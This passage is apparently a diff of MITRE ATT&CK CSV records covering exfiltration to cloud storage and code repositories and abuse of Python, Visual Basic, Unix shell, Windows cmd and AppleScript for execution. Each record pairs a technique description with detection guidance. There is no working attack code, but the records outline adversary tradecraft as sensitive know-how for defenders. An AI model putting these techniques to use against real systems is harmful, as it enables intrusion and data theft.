Network Connection Creation', 'Network Traffic: Network Traffic Flow', 'Network Traffic: Network Traffic Content', 'File: File Access', 'Command: Command Execution']",,"Monitor for processes utilizing the network that do not normally have network communication or have never been seen before. Processes that normally require user-driven events to access the network (for example, a web browser opening with a mouse click or key press) but access the network without such may be malicious. -Monitor for and investigate changes to host adapter settings, such as addition and/or replication of communication interfaces.","['Network Traffic: Network Connection Creation', 'Network Traffic: Network Traffic Flow', 'Network Traffic: Network Traffic Content', 'File: File Access', 'Command: Command Execution']",,,,"['Linux', 'macOS', 'Windows']",,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1567.002', 'url': 'https://attack.mitre.org/techniques/T1567/002'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'exfiltration'}]",1.0,True,https://attack.mitre.org/techniques/T1567/002,mitre-attack,T1567.002,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Exfiltration to Cloud Storage,"Adversaries may exfiltrate data to a cloud storage service rather than over their primary command and control channel. Cloud storage services allow for the storage, edit, and retrieval of data from a remote cloud storage server over the Internet. +Monitor for and investigate changes to host adapter settings, such as addition and/or replication of communication interfaces.",True,,"['Linux', 'macOS', 'Windows']",,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'exfiltration'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1567/002', 'external_id': 'T1567.002'}]",1.0,attack-pattern,attack-pattern--bf1b6176-597c-4600-bfcd-ac989670f96b,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-03-09T15:04:32.767Z,2020-03-28T01:02:24.172Z,Exfiltration to Cloud Storage,"Adversaries may exfiltrate data to a cloud storage service rather than over their primary command and control channel. Cloud storage services allow for the storage, edit, and retrieval of data from a remote cloud storage server over the Internet. -Examples of cloud storage services include Dropbox and Google Docs. Exfiltration to these cloud storage services can provide a significant amount of cover to the adversary if hosts within the network are already communicating with the service. ",attack-pattern--bf1b6176-597c-4600-bfcd-ac989670f96b,attack-pattern,['exfiltration'],2020-03-28T01:02:24.172Z,2020-03-09T15:04:32.767Z,"Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server) to known cloud storage services. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. User behavior monitoring may help to detect abnormal patterns of activity.","['Network Traffic: Network Traffic Flow', 'Network Traffic: Network Traffic Content', 'File: File Access', 'Command: Command Execution']",,,,"['Linux', 'macOS', 'Windows']",,,,,True,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1567.001', 'url': 'https://attack.mitre.org/techniques/T1567/001'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'exfiltration'}]",1.0,True,https://attack.mitre.org/techniques/T1567/001,mitre-attack,T1567.001,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Exfiltration to Code Repository,"Adversaries may exfiltrate data to a code repository rather than over their primary command and control channel. Code repositories are often accessible via an API (ex: https://api.github.com). Access to these APIs are often over HTTPS, which gives the adversary an additional level of protection. +Examples of cloud storage services include Dropbox and Google Docs. Exfiltration to these cloud storage services can provide a significant amount of cover to the adversary if hosts within the network are already communicating with the service. ",['exfiltration'],https://attack.mitre.org/techniques/T1567/002,mitre-attack,T1567.002,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Network Traffic: Network Traffic Flow', 'Network Traffic: Network Traffic Content', 'File: File Access', 'Command: Command Execution']",,"Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server) to known cloud storage services. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. User behavior monitoring may help to detect abnormal patterns of activity.",True,,"['Linux', 'macOS', 'Windows']",,,,,True,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'exfiltration'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1567/001', 'external_id': 'T1567.001'}]",1.0,attack-pattern,attack-pattern--86a96bf6-cf8b-411c-aaeb-8959944d64f7,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-03-09T14:51:11.772Z,2020-03-28T00:58:55.433Z,Exfiltration to Code Repository,"Adversaries may exfiltrate data to a code repository rather than over their primary command and control channel. Code repositories are often accessible via an API (ex: https://api.github.com). Access to these APIs are often over HTTPS, which gives the adversary an additional level of protection. -Exfiltration to a code repository can also provide a significant amount of cover to the adversary if it is a popular service already used by hosts within the network. ",attack-pattern--86a96bf6-cf8b-411c-aaeb-8959944d64f7,attack-pattern,['exfiltration'],2020-03-28T00:58:55.433Z,2020-03-09T14:51:11.772Z,"Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server) to code repositories. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. User behavior monitoring may help to detect abnormal patterns of activity.","['Network Traffic: Network Traffic Flow', 'Network Traffic: Network Traffic Content', 'File: File Access', 'Command: Command Execution']",,,,"['Linux', 'macOS', 'Windows']",,,,,True,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1059.006', 'url': 'https://attack.mitre.org/techniques/T1059/006'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'execution'}]",1.0,True,https://attack.mitre.org/techniques/T1059/006,mitre-attack,T1059.006,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Python,"Adversaries may abuse Python commands and scripts for execution. Python is a very popular scripting/programming language, with capabilities to perform many functions. Python can be executed interactively from the command-line (via the python.exe interpreter) or via scripts (.py) that can be written and distributed to different systems. Python code can also be compiled into binary executables. +Exfiltration to a code repository can also provide a significant amount of cover to the adversary if it is a popular service already used by hosts within the network. ",['exfiltration'],https://attack.mitre.org/techniques/T1567/001,mitre-attack,T1567.001,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Network Traffic: Network Traffic Flow', 'Network Traffic: Network Traffic Content', 'File: File Access', 'Command: Command Execution']",,"Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server) to code repositories. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. User behavior monitoring may help to detect abnormal patterns of activity.",True,,"['Linux', 'macOS', 'Windows']",,,,,True,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'execution'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1059/006', 'external_id': 'T1059.006'}]",1.0,attack-pattern,attack-pattern--cc3502b5-30cc-4473-ad48-42d51a6ef6d1,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-03-09T14:38:24.334Z,2021-07-26T22:49:23.094Z,Python,"Adversaries may abuse Python commands and scripts for execution. Python is a very popular scripting/programming language, with capabilities to perform many functions. Python can be executed interactively from the command-line (via the python.exe interpreter) or via scripts (.py) that can be written and distributed to different systems. Python code can also be compiled into binary executables. -Python comes with many built-in packages to interact with the underlying system, such as file operations and device I/O. Adversaries can use these libraries to download and execute commands or other scripts as well as perform various malicious behaviors.",attack-pattern--cc3502b5-30cc-4473-ad48-42d51a6ef6d1,attack-pattern,['execution'],2020-06-23T19:03:15.180Z,2020-03-09T14:38:24.334Z,"Monitor systems for abnormal Python usage and python.exe behavior, which could be an indicator of malicious activity. Understanding standard usage patterns is important to avoid a high number of false positives. If scripting is restricted for normal users, then any attempts to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent. +Python comes with many built-in packages to interact with the underlying system, such as file operations and device I/O. Adversaries can use these libraries to download and execute commands or other scripts as well as perform various malicious behaviors.",['execution'],https://attack.mitre.org/techniques/T1059/006,mitre-attack,T1059.006,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Command: Command Execution', 'Process: Process Creation']",,"Monitor systems for abnormal Python usage and python.exe behavior, which could be an indicator of malicious activity. Understanding standard usage patterns is important to avoid a high number of false positives. If scripting is restricted for normal users, then any attempts to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent. -Scripts are likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for script execution and subsequent behavior. Actions may be related to network and system information Discovery, Collection, or other scriptable post-compromise behaviors and could be used as indicators of detection leading back to the source script.","['Command: Command Execution', 'Process: Process Creation']",,,"['Administrator', 'SYSTEM', 'root']","['Linux', 'Windows', 'macOS']",,,,['Python is installed.'],,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1059.005', 'url': 'https://attack.mitre.org/techniques/T1059/005'}, {'source_name': 'VB .NET Mar 2020', 'url': 'https://devblogs.microsoft.com/vbteam/visual-basic-support-planned-for-net-5-0/', 'description': '.NET Team. (2020, March 11). Visual Basic support planned for .NET 5.0. Retrieved June 23, 2020.'}, {'source_name': 'VB Microsoft', 'url': 'https://docs.microsoft.com/dotnet/visual-basic/', 'description': 'Microsoft. (n.d.). Visual Basic documentation. Retrieved June 23, 2020.'}, {'source_name': 'Microsoft VBA', 'url': 'https://docs.microsoft.com/office/vba/api/overview/', 'description': 'Microsoft. (2019, June 11). Office VBA Reference. Retrieved June 23, 2020.'}, {'source_name': 'Wikipedia VBA', 'url': 'https://en.wikipedia.org/wiki/Visual_Basic_for_Applications', 'description': 'Wikipedia. (n.d.). Visual Basic for Applications. Retrieved August 13, 2020.'}, {'source_name': 'Microsoft VBScript', 'url': 'https://docs.microsoft.com/previous-versions//1kw29xwf(v=vs.85)', 'description': 'Microsoft. (2011, April 19). What Is VBScript?. Retrieved March 28, 2020.'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'execution'}]",1.1,True,https://attack.mitre.org/techniques/T1059/005,mitre-attack,T1059.005,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Visual Basic,"Adversaries may abuse Visual Basic (VB) for execution. VB is a programming language created by Microsoft with interoperability with many Windows technologies such as [Component Object Model](https://attack.mitre.org/techniques/T1559/001) and the [Native API](https://attack.mitre.org/techniques/T1106) through the Windows API. Although tagged as legacy with no planned future evolutions, VB is integrated and supported in the .NET Framework and cross-platform .NET Core.(Citation: VB .NET Mar 2020)(Citation: VB Microsoft) +Scripts are likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for script execution and subsequent behavior. Actions may be related to network and system information Discovery, Collection, or other scriptable post-compromise behaviors and could be used as indicators of detection leading back to the source script.",True,"['Administrator', 'SYSTEM', 'root']","['Linux', 'Windows', 'macOS']",False,,,['Python is installed.'],,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'execution'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1059/005', 'external_id': 'T1059.005'}, {'source_name': 'VB .NET Mar 2020', 'description': '.NET Team. (2020, March 11). Visual Basic support planned for .NET 5.0. Retrieved June 23, 2020.', 'url': 'https://devblogs.microsoft.com/vbteam/visual-basic-support-planned-for-net-5-0/'}, {'source_name': 'VB Microsoft', 'description': 'Microsoft. (n.d.). Visual Basic documentation. Retrieved June 23, 2020.', 'url': 'https://docs.microsoft.com/dotnet/visual-basic/'}, {'source_name': 'Microsoft VBA', 'description': 'Microsoft. (2019, June 11). Office VBA Reference. Retrieved June 23, 2020.', 'url': 'https://docs.microsoft.com/office/vba/api/overview/'}, {'source_name': 'Wikipedia VBA', 'description': 'Wikipedia. (n.d.). Visual Basic for Applications. Retrieved August 13, 2020.', 'url': 'https://en.wikipedia.org/wiki/Visual_Basic_for_Applications'}, {'source_name': 'Microsoft VBScript', 'description': 'Microsoft. (2011, April 19). What Is VBScript?. Retrieved March 28, 2020.', 'url': 'https://docs.microsoft.com/previous-versions//1kw29xwf(v=vs.85)'}]",1.2,attack-pattern,attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-03-09T14:29:51.508Z,2021-08-16T21:03:21.051Z,Visual Basic,"Adversaries may abuse Visual Basic (VB) for execution. VB is a programming language created by Microsoft with interoperability with many Windows technologies such as [Component Object Model](https://attack.mitre.org/techniques/T1559/001) and the [Native API](https://attack.mitre.org/techniques/T1106) through the Windows API. Although tagged as legacy with no planned future evolutions, VB is integrated and supported in the .NET Framework and cross-platform .NET Core.(Citation: VB .NET Mar 2020)(Citation: VB Microsoft) Derivative languages based on VB have also been created, such as Visual Basic for Applications (VBA) and VBScript. VBA is an event-driven programming language built into Microsoft Office, as well as several third-party applications.(Citation: Microsoft VBA)(Citation: Wikipedia VBA) VBA enables documents to contain macros used to automate the execution of tasks and other functionality on the host. VBScript is a default scripting language on Windows hosts and can also be used in place of [JavaScript](https://attack.mitre.org/techniques/T1059/007) on HTML Application (HTA) webpages served to Internet Explorer (though most modern browsers do not come with VBScript support).(Citation: Microsoft VBScript) -Adversaries may use VB payloads to execute malicious commands. Common malicious usage includes automating execution of behaviors with VBScript or embedding VBA content into [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001) payloads.",attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67,attack-pattern,['execution'],2020-08-13T20:09:39.122Z,2020-03-09T14:29:51.508Z,"Monitor for events associated with VB execution, such as Office applications spawning processes, usage of the Windows Script Host (typically cscript.exe or wscript.exe), file activity involving VB payloads or scripts, or loading of modules associated with VB languages (ex: vbscript.dll). VB execution is likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for execution and subsequent behavior. Actions may be related to network and system information [Discovery](https://attack.mitre.org/tactics/TA0007), [Collection](https://attack.mitre.org/tactics/TA0009), or other programable post-compromise behaviors and could be used as indicators of detection leading back to the source. +Adversaries may use VB payloads to execute malicious commands. Common malicious usage includes automating execution of behaviors with VBScript or embedding VBA content into [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001) payloads.",['execution'],https://attack.mitre.org/techniques/T1059/005,mitre-attack,T1059.005,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Command: Command Execution', 'Process: Process Creation', 'Module: Module Load', 'Script: Script Execution']",,"Monitor for events associated with VB execution, such as Office applications spawning processes, usage of the Windows Script Host (typically cscript.exe or wscript.exe), file activity involving VB payloads or scripts, or loading of modules associated with VB languages (ex: vbscript.dll). VB execution is likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for execution and subsequent behavior. Actions may be related to network and system information [Discovery](https://attack.mitre.org/tactics/TA0007), [Collection](https://attack.mitre.org/tactics/TA0009), or other programable post-compromise behaviors and could be used as indicators of detection leading back to the source. -Understanding standard usage patterns is important to avoid a high number of false positives. If VB execution is restricted for normal users, then any attempts to enable related components running on a system would be considered suspicious. If VB execution is not commonly used on a system, but enabled, execution running out of cycle from patching or other administrator functions is suspicious. Payloads and scripts should be captured from the file system when possible to determine their actions and intent.","['Command: Command Execution', 'Process: Process Creation', 'Module: Module Load', 'Script: Script Execution']",,,"['User', 'Administrator', 'SYSTEM']","['Windows', 'macOS', 'Linux']",,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1059.004', 'url': 'https://attack.mitre.org/techniques/T1059/004'}, {'source_name': 'DieNet Bash', 'url': 'https://linux.die.net/man/1/bash', 'description': 'die.net. (n.d.). bash(1) - Linux man page. Retrieved June 12, 2020.'}, {'source_name': 'Apple ZShell', 'url': 'https://support.apple.com/HT208050', 'description': 'Apple. (2020, January 28). Use zsh as the default shell on your Mac. Retrieved June 12, 2020.'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'execution'}]",1.0,True,https://attack.mitre.org/techniques/T1059/004,mitre-attack,T1059.004,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Unix Shell,"Adversaries may abuse Unix shell commands and scripts for execution. Unix shells are the primary command prompt on Linux and macOS systems, though many variations of the Unix shell exist (e.g. sh, bash, zsh, etc.) depending on the specific OS or distribution.(Citation: DieNet Bash)(Citation: Apple ZShell) Unix shells can control every aspect of a system, with certain commands requiring elevated privileges. +Understanding standard usage patterns is important to avoid a high number of false positives. If VB execution is restricted for normal users, then any attempts to enable related components running on a system would be considered suspicious. If VB execution is not commonly used on a system, but enabled, execution running out of cycle from patching or other administrator functions is suspicious. Payloads and scripts should be captured from the file system when possible to determine their actions and intent.",True,"['User', 'Administrator', 'SYSTEM']","['Windows', 'macOS', 'Linux']",,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'execution'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1059/004', 'external_id': 'T1059.004'}, {'source_name': 'DieNet Bash', 'description': 'die.net. (n.d.). bash(1) - Linux man page. Retrieved June 12, 2020.', 'url': 'https://linux.die.net/man/1/bash'}, {'source_name': 'Apple ZShell', 'description': 'Apple. (2020, January 28). Use zsh as the default shell on your Mac. Retrieved June 12, 2020.', 'url': 'https://support.apple.com/HT208050'}]",1.1,attack-pattern,attack-pattern--a9d4b653-6915-42af-98b2-5758c4ceee56,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-03-09T14:15:05.330Z,2021-07-26T22:34:43.261Z,Unix Shell,"Adversaries may abuse Unix shell commands and scripts for execution. Unix shells are the primary command prompt on Linux and macOS systems, though many variations of the Unix shell exist (e.g. sh, bash, zsh, etc.) depending on the specific OS or distribution.(Citation: DieNet Bash)(Citation: Apple ZShell) Unix shells can control every aspect of a system, with certain commands requiring elevated privileges. Unix shells also support scripts that enable sequential execution of commands as well as other typical programming operations such as conditionals and loops. Common uses of shell scripts include long or repetitive tasks, or the need to run the same set of commands on multiple systems. -Adversaries may abuse Unix shells to execute various commands or payloads. Interactive shells may be accessed through command and control channels or during lateral movement such as with [SSH](https://attack.mitre.org/techniques/T1021/004). Adversaries may also leverage shell scripts to deliver and execute multiple commands on victims or as part of payloads used for persistence.",attack-pattern--a9d4b653-6915-42af-98b2-5758c4ceee56,attack-pattern,['execution'],2020-06-15T16:55:44.483Z,2020-03-09T14:15:05.330Z,"Unix shell usage may be common on administrator, developer, or power user systems, depending on job function. If scripting is restricted for normal users, then any attempt to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent. +Adversaries may abuse Unix shells to execute various commands or payloads. Interactive shells may be accessed through command and control channels or during lateral movement such as with [SSH](https://attack.mitre.org/techniques/T1021/004). Adversaries may also leverage shell scripts to deliver and execute multiple commands on victims or as part of payloads used for persistence.",['execution'],https://attack.mitre.org/techniques/T1059/004,mitre-attack,T1059.004,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Command: Command Execution', 'Process: Process Creation']",,"Unix shell usage may be common on administrator, developer, or power user systems, depending on job function. If scripting is restricted for normal users, then any attempt to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent. -Scripts are likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for script execution and subsequent behavior. Actions may be related to network and system information discovery, collection, or other scriptable post-compromise behaviors and could be used as indicators of detection leading back to the source script. ","['Command: Command Execution', 'Process: Process Creation']",,,"['User', 'root']","['macOS', 'Linux']",,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1059.003', 'url': 'https://attack.mitre.org/techniques/T1059/003'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'execution'}]",1.1,True,https://attack.mitre.org/techniques/T1059/003,mitre-attack,T1059.003,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Windows Command Shell,"Adversaries may abuse the Windows command shell for execution. The Windows command shell ([cmd](https://attack.mitre.org/software/S0106)) is the primary command prompt on Windows systems. The Windows command prompt can be used to control almost any aspect of a system, with various permission levels required for different subsets of commands. +Scripts are likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for script execution and subsequent behavior. Actions may be related to network and system information discovery, collection, or other scriptable post-compromise behaviors and could be used as indicators of detection leading back to the source script. ",True,"['User', 'root']","['macOS', 'Linux']",True,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'execution'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1059/003', 'external_id': 'T1059.003'}, {'source_name': 'SSH in Windows', 'description': 'Microsoft. (2020, May 19). Tutorial: SSH in Windows Terminal. Retrieved July 26, 2021.', 'url': 'https://docs.microsoft.com/en-us/windows/terminal/tutorials/ssh'}]",1.2,attack-pattern,attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-03-09T14:12:31.196Z,2021-07-26T17:13:07.345Z,Windows Command Shell,"Adversaries may abuse the Windows command shell for execution. The Windows command shell ([cmd](https://attack.mitre.org/software/S0106)) is the primary command prompt on Windows systems. The Windows command prompt can be used to control almost any aspect of a system, with various permission levels required for different subsets of commands. The command prompt can be invoked remotely via [Remote Services](https://attack.mitre.org/techniques/T1021) such as [SSH](https://attack.mitre.org/techniques/T1021/004).(Citation: SSH in Windows) Batch files (ex: .bat or .cmd) also provide the shell with a list of sequential commands to run, as well as normal scripting operations such as conditionals and loops. Common uses of batch files include long or repetitive tasks, or the need to run the same set of commands on multiple systems. -Adversaries may leverage [cmd](https://attack.mitre.org/software/S0106) to execute various commands and payloads. Common uses include [cmd](https://attack.mitre.org/software/S0106) to execute a single command, or abusing [cmd](https://attack.mitre.org/software/S0106) interactively with input and output forwarded over a command and control channel.",attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62,attack-pattern,['execution'],2021-04-14T15:36:02.195Z,2020-03-09T14:12:31.196Z,"Usage of the Windows command shell may be common on administrator, developer, or power user systems depending on job function. If scripting is restricted for normal users, then any attempt to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent. +Adversaries may leverage [cmd](https://attack.mitre.org/software/S0106) to execute various commands and payloads. Common uses include [cmd](https://attack.mitre.org/software/S0106) to execute a single command, or abusing [cmd](https://attack.mitre.org/software/S0106) interactively with input and output forwarded over a command and control channel.",['execution'],https://attack.mitre.org/techniques/T1059/003,mitre-attack,T1059.003,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Command: Command Execution', 'Process: Process Creation']",,"Usage of the Windows command shell may be common on administrator, developer, or power user systems depending on job function. If scripting is restricted for normal users, then any attempt to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent. -Scripts are likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for script execution and subsequent behavior. Actions may be related to network and system information Discovery, Collection, or other scriptable post-compromise behaviors and could be used as indicators of detection leading back to the source script.","['Command: Command Execution', 'Process: Process Creation']",,,['User'],['Windows'],,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1059.002', 'url': 'https://attack.mitre.org/techniques/T1059/002'}, {'source_name': 'Apple AppleScript', 'url': 'https://developer.apple.com/library/archive/documentation/AppleScript/Conceptual/AppleScriptLangGuide/introduction/ASLR_intro.html', 'description': 'Apple. (2016, January 25). Introduction to AppleScript Language Guide. Retrieved March 28, 2020.'}, {'source_name': 'SentinelOne AppleScript', 'url': 'https://www.sentinelone.com/blog/how-offensive-actors-use-applescript-for-attacking-macos/', 'description': 'Phil Stokes. (2020, March 16). How Offensive Actors Use AppleScript For Attacking macOS. Retrieved July 17, 2020.'}, {'source_name': 'SentinelOne macOS Red Team', 'url': 'https://www.sentinelone.com/blog/macos-red-team-calling-apple-apis-without-building-binaries/', 'description': 'Phil Stokes. (2019, December 5). macOS Red Team: Calling Apple APIs Without Building Binaries. Retrieved July 17, 2020.'}, {'url': 'https://www.mcafee.com/blogs/other-blogs/mcafee-labs/macro-malware-targets-macs/', 'description': 'Yerko Grbic. (2017, February 14). Macro Malware Targets Macs. Retrieved July 8, 2017.', 'source_name': 'Macro Malware Targets Macs'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'execution'}]",1.1,True,https://attack.mitre.org/techniques/T1059/002,mitre-attack,T1059.002,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,AppleScript,"Adversaries may abuse AppleScript for execution. AppleScript is a macOS scripting language designed to control applications and parts of the OS via inter-application messages called AppleEvents.(Citation: Apple AppleScript) These AppleEvent messages can be sent independently or easily scripted with AppleScript. These events can locate open windows, send keystrokes, and interact with almost any open application locally or remotely. +Scripts are likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for script execution and subsequent behavior. Actions may be related to network and system information Discovery, Collection, or other scriptable post-compromise behaviors and could be used as indicators of detection leading back to the source script.",True,['User'],['Windows'],True,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'execution'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1059/002', 'external_id': 'T1059.002'}, {'source_name': 'Apple AppleScript', 'description': 'Apple. (2016, January 25). Introduction to AppleScript Language Guide. Retrieved March 28, 2020.', 'url': 'https://developer.apple.com/library/archive/documentation/AppleScript/Conceptual/AppleScriptLangGuide/introduction/ASLR_intro.html'}, {'source_name': 'SentinelOne AppleScript', 'description': 'Phil Stokes. (2020, March 16). How Offensive Actors Use AppleScript For Attacking macOS. Retrieved July 17, 2020.', 'url': 'https://www.sentinelone.com/blog/how-offensive-actors-use-applescript-for-attacking-macos/'}, {'source_name': 'SentinelOne macOS Red Team', 'description': 'Phil Stokes. (2019, December 5). macOS Red Team: Calling Apple APIs Without Building Binaries. Retrieved July 17, 2020.', 'url': 'https://www.sentinelone.com/blog/macos-red-team-calling-apple-apis-without-building-binaries/'}, {'source_name': 'Macro Malware Targets Macs', 'description': 'Yerko Grbic. (2017, February 14). Macro Malware Targets Macs. Retrieved July 8, 2017.', 'url': 'https://www.mcafee.com/blogs/other-blogs/mcafee-labs/macro-malware-targets-macs/'}]",1.1,attack-pattern,attack-pattern--37b11151-1776-4f8f-b328-30939fbf2ceb,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-03-09T14:07:54.329Z,2020-08-03T21:40:51.878Z,AppleScript,"Adversaries may abuse AppleScript for execution. AppleScript is a macOS scripting language designed to control applications and parts of the OS via inter-application messages called AppleEvents.(Citation: Apple AppleScript) These AppleEvent messages can be sent independently or easily scripted with AppleScript. These events can locate open windows, send keystrokes, and interact with almost any open application locally or remotely. Scripts can be run from the command-line via osascript /path/to/script or osascript -e ""script here"". Aside from the command line, scripts can be executed in numerous ways including Mail rules, Calendar.app alarms, and Automator workflows. AppleScripts can also be executed as plain text shell scripts by adding #!/usr/bin/osascript to the start of the script file.(Citation: SentinelOne AppleScript) AppleScripts do not need to call osascript to execute, however. They may be executed from within mach-O binaries by using the macOS [Native API](https://attack.mitre.org/techniques/T1106)s NSAppleScript or OSAScript, both of which execute code independent of the /usr/bin/osascript command line utility. -Adversaries may abuse AppleScript to execute various behaviors, such as interacting with an open SSH connection, moving to remote machines, and even presenting users with fake dialog boxes. These events cannot start applications remotely (they can start them locally), but they can interact with applications if they're already running remotely. On macOS 10.10 Yosemite and higher, AppleScript has the ability to execute [Native API](https://attack.mitre.org/techniques/T1106)s, which otherwise would require compilation and execution in a mach-O binary file format.(Citation: SentinelOne macOS Red Team). Since this is a scripting language, it can be used to launch more common techniques as well such as a reverse shell via [Python](https://attack.mitre.org/techniques/T1059/006).(Citation: Macro Malware Targets Macs)",attack-pattern--37b11151-1776-4f8f-b328-30939fbf2ceb,attack-pattern,['execution'],2020-08-03T21:40:51.878Z,2020-03-09T14:07:54.329Z,"Monitor for execution of AppleScript through osascript and usage of the NSAppleScript and OSAScript APIs that may be related to other suspicious behavior occurring on the system. Scripts are likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for script execution and subsequent behavior. Actions may be related to network and system information [Discovery](https://attack.mitre.org/tactics/TA0007), [Collection](https://attack.mitre.org/tactics/TA0009), or other scriptable post-compromise behaviors and could be used as indicators of detection leading back to the source script. +Adversaries may abuse AppleScript to execute various behaviors, such as interacting with an open SSH connection, moving to remote machines, and even presenting users with fake dialog boxes. These events cannot start applications remotely (they can start them locally), but they can interact with applications if they're already running remotely. On macOS 10.10 Yosemite and higher, AppleScript has the ability to execute [Native API](https://attack.mitre.org/techniques/T1106)s, which otherwise would require compilation and execution in a mach-O binary file format.(Citation: SentinelOne macOS Red Team). Since this is a scripting language, it can be used to launch more common techniques as well such as a reverse shell via [Python](https://attack.mitre.org/techniques/T1059/006).(Citation: Macro Malware Targets Macs)",['execution'],https://attack.mitre.org/techniques/T1059/002,mitre-attack,T1059.002,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Phil Stokes, SentinelOne']","['Command: Command Execution', 'Process: Process Creation', 'Process: OS API Execution']",,"Monitor for execution of AppleScript 